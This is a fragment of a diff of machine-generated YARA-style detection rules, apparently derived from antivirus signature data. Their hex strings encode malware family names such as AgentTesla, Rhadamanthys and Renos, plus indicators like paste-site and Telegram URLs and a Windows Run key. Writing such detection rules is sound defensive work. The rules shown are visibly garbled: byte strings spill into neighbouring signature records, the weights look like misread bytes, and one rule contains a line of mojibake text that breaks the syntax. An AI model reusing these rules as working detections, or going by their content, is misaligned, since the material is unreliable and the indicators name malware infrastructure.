00 0a 00 76 03 8b c2 0f af c2 42 01 86 90 01 04 8b 46 90 01 01 33 05 90 01 04 } //61 + $a_04_2 = {29 } //-28619 ) + condition: + ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*61+(#a_04_2 & 1)*-28619) >=9 + +} +rule _InfrastructureShared_12538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -130166,19 +138755,31 @@ rule _InfrastructureShared_11773{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_11774{ +rule _InfrastructureShared_12539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4f 72 63 61 4d 61 72 62 6c 65 73 2e 41 21 64 68 61 00 0a 00 30 42 48 c7 04 24 40 62 b0 07 e8 90 01 04 48 8d 05 90 01 04 48 89 04 24 48 c7 44 24 90 01 01 22 00 00 00 e8 90 01 04 48 c7 04 24 } //16675 - $a_07_1 = {e8 90 00 05 00 1e 01 5c 4f 66 66 69 63 65 5c 55 74 69 6c 69 74 69 65 73 5c 4f 49 6e 73 74 61 6c 6c 2e 65 78 65 05 00 22 01 5c 4f 66 66 69 63 65 5c 55 74 69 6c 69 74 69 65 73 5c 75 70 64 61 74 65 73 63 68 65 63 6b 2e 65 78 65 00 00 78 a9 00 00 0a 00 0a 00 07 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e 33 32 2f 4c 69 6e 65 61 67 65 2e 67 65 6e 21 64 6c 6c 2e 42 00 09 00 09 00 54 54 44 4c 4c 2e 64 6c 6c 01 00 0b 00 4a 75 6d 70 48 6f } //-8768 - $a_46_2 = {01 00 0a 01 4a 75 6d 70 48 6f 6f 6b 4f 4e 01 00 13 00 44 6c 6c 55 6e 72 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 11 00 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 01 00 0f 00 44 6c 6c 43 61 6e 55 6e 6c 6f 61 64 4e 6f 77 01 00 } //27503 + $a_07_1 = {e8 90 00 05 00 1e 01 5c 4f 66 66 69 63 65 5c 55 74 69 6c 69 74 69 65 73 5c 4f 49 6e 73 74 61 6c 6c 2e 65 78 65 05 00 22 01 5c 4f 66 66 69 63 65 5c 55 74 69 6c 69 74 69 65 73 5c 75 70 64 61 74 65 73 63 68 65 63 6b 2e 65 78 65 00 00 78 a9 00 00 0a 00 0a 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 52 68 61 64 61 6d 61 6e 74 68 79 73 2e 42 43 21 4d 54 42 00 0a 00 10 80 01 74 65 78 74 62 69 6e 2e 6e 65 74 2f 72 61 77 2f 0a 00 3e 01 } //-8768 + $a_00_2 = {2d 00 61 00 70 00 69 00 2e 00 63 00 6f 00 6d 00 2f 00 6c 00 69 00 6e 00 65 00 2f 00 3f 00 66 00 69 00 65 00 6c 00 64 00 73 00 3d 00 68 00 6f 00 73 00 74 00 69 00 6e 00 67 00 0a 00 11 02 68 74 74 70 90 02 01 3a 2f 2f 74 2e 6d 65 2f 90 00 0a 00 0f 81 01 3a 2f 2f 74 69 6e 79 75 72 6c 2e 63 6f 6d 2f 00 00 78 a9 00 00 0a 00 0a 00 07 00 21 } //105 condition: - ((#a_46_0 & 1)*16675+(#a_07_1 & 1)*-8768+(#a_46_2 & 1)*27503) >=10 + ((#a_46_0 & 1)*16675+(#a_07_1 & 1)*-8768+(#a_00_2 & 1)*105) >=10 } -rule _InfrastructureShared_11775{ +rule _InfrastructureShared_12540{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 52 68 61 64 61 6d 61 6e 74 68 79 73 2e 42 43 21 4d 54 42 00 0a 00 10 80 01 74 65 78 74 62 69 6e 2e 6e 65 74 2f 72 61 77 2f 0a 00 3e 01 69 00 70 00 2d 00 61 00 70 00 69 00 2e 00 63 00 6f 00 6d 00 2f 00 6c 00 69 00 6e 00 65 00 2f } //18467 + $a_00_2 = {6c 00 64 00 73 00 3d 00 68 00 6f 00 73 00 74 00 69 00 6e 00 67 00 0a 00 11 02 68 74 74 70 90 02 01 3a 2f 2f 74 2e 6d 65 2f 90 00 0a 00 0f 81 01 3a 2f 2f 74 69 6e 79 75 72 6c 2e 63 6f 6d 2f 00 00 78 a9 00 00 0a 00 0a 00 07 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e 33 32 2f 4c 69 6e 65 61 67 65 2e 67 } //105 + $a_64_3 = {6c 2e 42 00 09 00 09 00 54 54 44 4c 4c 2e 64 6c 6c 01 00 0b 00 4a 75 6d 70 48 6f 6f 6b 4f 46 46 01 } //28261 + condition: + ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*105+(#a_64_3 & 1)*28261) >=10 + +} +rule _InfrastructureShared_12541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 21 " @@ -130189,24 +138790,35 @@ rule _InfrastructureShared_11775{ $a_07_3 = {06 95 58 20 ff 00 00 00 } //2655 $a_06_4 = {95 13 04 07 06 07 08 } //3167 $a_08_5 = {11 04 9e 11 05 09 d4 } //-24939 - $a_91_6 = {07 06 95 07 08 95 58 20 ff 00 00 00 5f 95 61 28 90 01 04 9c 09 17 6a 58 0d 09 11 05 8e 69 17 59 6a fe 90 01 01 16 fe 90 01 01 13 90 00 01 00 09 80 01 53 75 62 73 74 72 69 6e 67 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 a9 00 00 0f 00 0f 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 32 32 35 39 21 4d 54 42 00 0a 00 30 02 25 16 03 a2 25 0b 14 14 17 8d 90 01 04 25 16 17 9c 25 0c 28 90 01 04 08 16 91 2d 02 2b 0a 07 16 9a 28 90 01 04 10 01 74 90 01 04 0a 02 06 90 00 01 00 05 00 00 57 53 53 00 01 00 08 00 00 58 58 58 58 58 58 00 01 00 07 00 4c 61 74 65 47 65 74 01 00 0f 00 } //2306 + $a_91_6 = {07 06 95 07 08 95 58 20 ff 00 00 00 5f 95 61 28 90 01 04 9c 09 17 6a 58 0d 09 11 05 8e 69 17 59 6a fe 90 01 01 16 fe 90 01 01 13 90 00 01 00 09 80 01 53 75 62 73 74 72 69 6e 67 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 a9 00 00 0f 00 0f 00 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 59 61 67 65 74 4d 65 2e 41 21 64 68 61 00 05 00 26 01 5b 00 2b 00 5d 00 75 00 73 00 65 00 20 00 2d 00 68 00 20 00 67 00 65 00 74 00 20 00 68 00 65 00 6c 00 70 00 21 00 05 00 1e 01 53 00 6c 00 65 00 65 00 70 00 20 00 69 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 3a 00 05 00 2c 01 73 00 74 00 61 00 72 00 74 00 20 00 } //2306 condition: ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29545+(#a_00_2 & 1)*66+(#a_07_3 & 1)*2655+(#a_06_4 & 1)*3167+(#a_08_5 & 1)*-24939+(#a_91_6 & 1)*2306) >=10 } -rule _InfrastructureShared_11776{ +rule _InfrastructureShared_12542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 43 58 21 4d 54 42 00 0a 00 5c 02 06 17 58 20 ff 00 00 00 5f 0a 08 07 06 95 58 20 ff 00 00 00 5f 0c 07 06 95 13 04 07 06 07 08 95 9e 07 08 11 04 9e 11 05 09 d4 02 09 d4 91 } //18467 $a_95_1 = {08 95 58 20 ff 00 } //1799 - $a_95_2 = {28 90 01 04 9c 09 17 6a 58 0d 09 11 05 8e 69 17 59 6a fe 90 01 01 16 fe 90 01 01 13 90 00 01 00 09 80 01 53 75 62 73 74 72 69 6e 67 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 a9 00 00 0f 00 0f 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 } //0 + $a_95_2 = {28 90 01 04 9c 09 17 6a 58 0d 09 11 05 8e 69 17 59 6a fe 90 01 01 16 fe 90 01 01 13 90 00 01 00 09 80 01 53 75 62 73 74 72 69 6e 67 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 a9 00 00 0f 00 0f 00 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 59 61 67 65 } //0 condition: ((#a_54_0 & 1)*18467+(#a_95_1 & 1)*1799+(#a_95_2 & 1)*0) >=12 } -rule _InfrastructureShared_11777{ +rule _InfrastructureShared_12543{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " + + strings : + $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 59 61 67 65 74 4d 65 2e 41 21 64 68 61 00 05 00 26 01 5b 00 2b 00 5d 00 75 00 73 00 65 00 20 00 2d 00 68 00 20 00 67 00 65 00 74 00 20 00 68 00 65 00 6c 00 70 00 21 00 05 00 1e } //16675 + $a_00_2 = {70 00 20 00 69 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 3a 00 05 00 2c 01 73 00 74 00 61 00 72 00 74 00 20 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 69 00 6e 00 67 00 20 00 75 00 73 00 65 00 72 00 00 00 78 a9 00 00 0f 00 0f 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //101 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101) >=15 + +} +rule _InfrastructureShared_12544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -130221,7 +138833,7 @@ rule _InfrastructureShared_11777{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1538+(#a_18_2 & 1)*400+(#a_90_3 & 1)*5654+(#a_69_4 & 1)*29797+(#a_00_5 & 1)*45) >=15 } -rule _InfrastructureShared_11778{ +rule _InfrastructureShared_12545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -130234,7 +138846,7 @@ rule _InfrastructureShared_11778{ ((#a_54_0 & 1)*18467+(#a_06_1 & 1)*5126+(#a_65_3 & 1)*384+(#a_2e_4 & 1)*27763) >=18 } -rule _InfrastructureShared_11779{ +rule _InfrastructureShared_12546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 06 00 21 " @@ -130249,7 +138861,7 @@ rule _InfrastructureShared_11779{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32+(#a_8d_2 & 1)*5140+(#a_00_3 & 1)*282+(#a_5c_4 & 1)*17153+(#a_68_5 & 1)*29541) >=24 } -rule _InfrastructureShared_11780{ +rule _InfrastructureShared_12547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,46 00 46 00 04 00 21 " @@ -130260,7 +138872,7 @@ rule _InfrastructureShared_11780{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*18722) >=70 } -rule _InfrastructureShared_11781{ +rule _InfrastructureShared_12548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -130270,7 +138882,7 @@ rule _InfrastructureShared_11781{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11782{ +rule _InfrastructureShared_12549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -130280,7 +138892,7 @@ rule _InfrastructureShared_11782{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11783{ +rule _InfrastructureShared_12550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -130290,7 +138902,7 @@ rule _InfrastructureShared_11783{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11784{ +rule _InfrastructureShared_12551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -130300,7 +138912,7 @@ rule _InfrastructureShared_11784{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11785{ +rule _InfrastructureShared_12552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -130310,7 +138922,7 @@ rule _InfrastructureShared_11785{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11786{ +rule _InfrastructureShared_12553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -130320,7 +138932,7 @@ rule _InfrastructureShared_11786{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11787{ +rule _InfrastructureShared_12554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -130330,7 +138942,7 @@ rule _InfrastructureShared_11787{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11788{ +rule _InfrastructureShared_12555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -130340,7 +138952,7 @@ rule _InfrastructureShared_11788{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11789{ +rule _InfrastructureShared_12556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -130350,7 +138962,7 @@ rule _InfrastructureShared_11789{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11790{ +rule _InfrastructureShared_12557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -130361,7 +138973,7 @@ rule _InfrastructureShared_11790{ ((#a_46_0 & 1)*16675+(#a_05_1 & 1)*73) >=1 } -rule _InfrastructureShared_11791{ +rule _InfrastructureShared_12558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -130372,7 +138984,7 @@ rule _InfrastructureShared_11791{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4508) >=1 } -rule _InfrastructureShared_11792{ +rule _InfrastructureShared_12559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -130384,7 +138996,7 @@ rule _InfrastructureShared_11792{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30912+(#a_00_2 & 1)*48) >=1 } -rule _InfrastructureShared_11793{ +rule _InfrastructureShared_12560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -130394,7 +139006,7 @@ rule _InfrastructureShared_11793{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11794{ +rule _InfrastructureShared_12561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -130404,7 +139016,7 @@ rule _InfrastructureShared_11794{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11795{ +rule _InfrastructureShared_12562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -130414,7 +139026,7 @@ rule _InfrastructureShared_11795{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11796{ +rule _InfrastructureShared_12563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -130425,7 +139037,7 @@ rule _InfrastructureShared_11796{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-25344) >=2 } -rule _InfrastructureShared_11797{ +rule _InfrastructureShared_12564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -130435,7 +139047,7 @@ rule _InfrastructureShared_11797{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11798{ +rule _InfrastructureShared_12565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -130446,7 +139058,7 @@ rule _InfrastructureShared_11798{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*0) >=2 } -rule _InfrastructureShared_11799{ +rule _InfrastructureShared_12566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -130457,7 +139069,7 @@ rule _InfrastructureShared_11799{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*50) >=2 } -rule _InfrastructureShared_11800{ +rule _InfrastructureShared_12567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -130470,7 +139082,7 @@ rule _InfrastructureShared_11800{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*400+(#a_11_2 & 1)*4865+(#a_04_3 & 1)*1537) >=2 } -rule _InfrastructureShared_11801{ +rule _InfrastructureShared_12568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -130478,24 +139090,47 @@ rule _InfrastructureShared_11801{ $a_77_0 = {69 3a 42 61 63 6b 64 6f 6f 72 3a 53 69 72 67 72 61 62 2e 41 00 01 00 19 01 70 70 74 78 3a 70 70 73 78 3a 67 73 66 3a 64 74 3a 6d 64 62 3a 70 70 74 3a 01 00 32 01 6f 64 74 3a 61 63 63 64 62 3a 63 65 72 3a 6b 65 79 3a 78 6c 73 6d 3a 61 72 6a 3a 6b 77 6d 3a 37 7a 3a 72 74 66 3a 70 64 66 3a 64 62 33 3a 72 61 72 3a 01 00 0e 01 73 65 72 } //19491 $a_6f_1 = {7b 7d 7b 7d 7b 7d 01 00 0f 01 7d 7b 45 4e 43 52 59 50 54 45 4e 44 45 44 7d 01 00 0b 01 54 48 49 53 49 53 50 46 49 4c 45 00 00 78 aa 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 52 65 6e 6f 73 2e 5a 21 62 69 74 00 01 00 10 01 77 77 77 2e 66 61 73 74 63 72 79 } //26978 $a_75_2 = {01 00 2e 01 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 44 00 64 00 67 00 69 00 74 00 20 00 53 00 65 00 72 00 76 00 69 00 } //29808 - $a_00_3 = {01 00 2d 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 00 00 78 aa 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 4e 54 2f 42 75 62 6e 69 78 2e 43 00 01 00 17 01 4b 65 55 6e 73 74 61 } //99 - $a_65_4 = {61 63 68 50 72 6f 63 65 73 73 00 01 00 28 03 0f b7 30 d1 ee 57 8b c6 33 ff 2b 05 90 01 04 78 2b 8b d9 ff 35 90 01 04 ff 35 90 01 04 53 ff 15 90 01 04 83 c4 0c 90 00 01 00 3a 01 8b 75 0c 57 8b 7d 08 ff 4d } //27491 + $a_00_3 = {01 00 2d 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 00 00 78 aa 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4e 6f 6e 53 6c 69 70 42 61 6e 61 6e 61 2e 44 21 64 68 61 } //99 condition: - ((#a_77_0 & 1)*19491+(#a_6f_1 & 1)*26978+(#a_75_2 & 1)*29808+(#a_00_3 & 1)*99+(#a_65_4 & 1)*27491) >=2 + ((#a_77_0 & 1)*19491+(#a_6f_1 & 1)*26978+(#a_75_2 & 1)*29808+(#a_00_3 & 1)*99) >=2 } -rule _InfrastructureShared_11802{ +rule _InfrastructureShared_12569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 52 65 6e 6f 73 2e 5a 21 62 69 74 00 01 00 10 01 77 77 77 2e 66 61 73 74 63 72 79 70 74 2e 75 73 01 00 2e 01 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 } //16675 午剔吺潲慪䑮潲灰牥场湩㈳刯湥獯娮戡瑩Āက省睷昮獡捴祲瑰甮ų⸀䴁椀挀爀漀猀漀昀 - $a_00_2 = {67 00 69 00 74 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 01 00 2d 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 00 00 78 aa 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //68 + $a_00_2 = {67 00 69 00 74 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 01 00 2d 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 00 00 78 aa 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 } //68 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*68) >=3 } -rule _InfrastructureShared_11803{ +rule _InfrastructureShared_12570{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4e 6f 6e 53 6c 69 70 42 61 6e 61 6e 61 2e 44 21 64 68 61 00 02 00 39 01 5b 21 5d 20 46 61 69 6c 65 64 20 74 6f 20 67 65 74 20 61 20 68 61 6e 64 6c 65 20 77 69 74 68 20 74 68 65 20 66 } //16675 + $a_6f_1 = {69 6e 67 20 65 72 72 6f 72 3a 20 25 77 73 0a 01 00 19 01 5b 2b 5d 20 47 6f 74 20 61 20 68 61 6e 64 6c 65 20 6f 66 20 30 78 25 70 0a 01 00 1b 01 5b 2b 5d 20 53 70 61 77 6e 69 6e 67 20 25 77 73 20 28 50 49 44 3a 20 25 75 29 0a 00 00 78 aa 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e } //27759 + $a_44_2 = {6e 75 74 43 69 70 68 65 72 2e 42 21 64 68 61 00 01 00 23 03 48 83 c0 04 8b 00 c1 c0 05 89 c1 48 8b 45 90 01 01 8b 10 48 8b 45 90 1b 00 48 83 } //13366 + condition: + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*27759+(#a_44_2 & 1)*13366) >=3 + +} +rule _InfrastructureShared_12571{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 44 6f 6e 75 74 43 69 70 68 65 72 2e 42 21 64 68 61 00 01 00 23 03 48 83 c0 04 8b 00 c1 c0 05 89 c1 48 8b 45 90 01 01 8b 10 48 8b 45 90 1b 00 48 83 c0 04 31 ca 89 10 90 00 01 } //16675 + $a_48_1 = {c0 08 8b } //8704 + $a_45_2 = {01 01 48 83 c0 0c 8b 10 48 8b 45 90 1b 00 48 83 c0 08 01 ca 89 10 90 00 01 00 27 03 48 83 c0 0c 8b 00 c1 c0 08 89 c1 48 8b 45 90 01 01 48 83 c0 08 8b 10 48 8b 45 90 1b 00 48 83 c0 0c 31 ca 89 10 90 00 00 00 78 aa 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 4e 54 2f 42 75 62 6e 69 78 2e 43 00 01 00 17 01 4b 65 55 6e 73 74 61 63 6b 44 65 74 61 63 68 50 72 6f 63 65 73 73 00 01 00 28 03 } //18440 + condition: + ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*8704+(#a_45_2 & 1)*18440) >=3 + +} +rule _InfrastructureShared_12572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -130507,7 +139142,7 @@ rule _InfrastructureShared_11803{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-173+(#a_d1_2 & 1)*4189) >=3 } -rule _InfrastructureShared_11804{ +rule _InfrastructureShared_12573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -130518,7 +139153,7 @@ rule _InfrastructureShared_11804{ ((#a_46_0 & 1)*21283+(#a_8b_1 & 1)*1025) >=3 } -rule _InfrastructureShared_11805{ +rule _InfrastructureShared_12574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -130530,7 +139165,7 @@ rule _InfrastructureShared_11805{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*8308+(#a_42_2 & 1)*27491) >=3 } -rule _InfrastructureShared_11806{ +rule _InfrastructureShared_12575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -130543,7 +139178,7 @@ rule _InfrastructureShared_11806{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*92+(#a_6e_2 & 1)*8250+(#a_01_3 & 1)*1) >=3 } -rule _InfrastructureShared_11807{ +rule _InfrastructureShared_12576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -130558,7 +139193,7 @@ rule _InfrastructureShared_11807{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25454+(#a_75_2 & 1)*269+(#a_65_3 & 1)*27491+(#a_2d_4 & 1)*25140+(#a_00_5 & 1)*27746) >=3 } -rule _InfrastructureShared_11808{ +rule _InfrastructureShared_12577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -130571,7 +139206,7 @@ rule _InfrastructureShared_11808{ ((#a_6c_0 & 1)*16675+(#a_6c_1 & 1)*24942+(#a_31_2 & 1)*385+(#a_55_3 & 1)*-32466) >=4 } -rule _InfrastructureShared_11809{ +rule _InfrastructureShared_12578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -130583,7 +139218,7 @@ rule _InfrastructureShared_11809{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27753+(#a_4d_2 & 1)*12592) >=4 } -rule _InfrastructureShared_11810{ +rule _InfrastructureShared_12579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -130596,7 +139231,7 @@ rule _InfrastructureShared_11810{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25967+(#a_00_2 & 1)*21581+(#a_70_3 & 1)*24931) >=4 } -rule _InfrastructureShared_11811{ +rule _InfrastructureShared_12580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -130609,7 +139244,7 @@ rule _InfrastructureShared_11811{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*24939+(#a_00_2 & 1)*66+(#a_65_3 & 1)*385) >=4 } -rule _InfrastructureShared_11812{ +rule _InfrastructureShared_12581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -130622,7 +139257,7 @@ rule _InfrastructureShared_11812{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*29541+(#a_66_2 & 1)*25632+(#a_03_3 & 1)*1) >=4 } -rule _InfrastructureShared_11813{ +rule _InfrastructureShared_12582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -130635,7 +139270,7 @@ rule _InfrastructureShared_11813{ ((#a_4c_0 & 1)*21539+(#a_48_1 & 1)*400+(#a_4c_2 & 1)*8960+(#a_89_3 & 1)*14372) >=4 } -rule _InfrastructureShared_11814{ +rule _InfrastructureShared_12583{ meta: description = 